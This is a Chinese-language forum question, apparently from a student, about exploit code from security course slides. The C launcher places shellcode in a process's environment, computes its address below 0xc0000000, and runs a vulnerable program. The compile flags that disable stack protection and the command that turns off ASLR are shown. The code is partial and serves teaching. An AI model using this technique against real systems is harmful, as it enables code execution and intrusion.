我从安全课程的演讲幻灯片中得到了以下代码。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
extern char shellcode;
#define VULN "./vuln"
int main(int argc, char **argv) {
void *addr = (char *) 0xc0000000 - 4
- (strlen(VULN) + 1)
- (strlen(&shellcode) + 1);
fprintf(stderr, "Using address: 0x%p\n", addr);
// some other stuff
char *params[] = { VULN, buf, NULL };
char *env[] = { &shellcode, NULL };
execve(VULN, params, env);
perror("execve");
}
此代码在其环境中使用shellcode调用易受攻击的程序。 shellcode是外部文件中的一些汇编代码,用于打开shell,VULN定义易受攻击程序的名称。
我的问题:如何计算shellcode地址
addr变量保存shellcode的地址(它是环境的一部分)。任何人都可以向我解释这个地址是如何确定的?所以:
请注意,此代码和易受攻击的程序都是这样编译的:
$ CFLAGS="-m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=2"
$ cc $CFLAGS -o vuln vuln.c
$ cc $CFLAGS -o exploit exploit.c shellcode.s
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
0
因此关闭了地址空间随机化。
我理解堆栈是进程内的第一件事(内存地址最高)。并且堆栈按以下顺序包含:
常量和全局数据没有存储在堆栈中,这就是为什么我也不明白为什么VULN常量的长度会影响shellcode放置的地址。
希望你能为我解决这个问题: - )
请注意,我们正在使用intel x86架构上的unix系统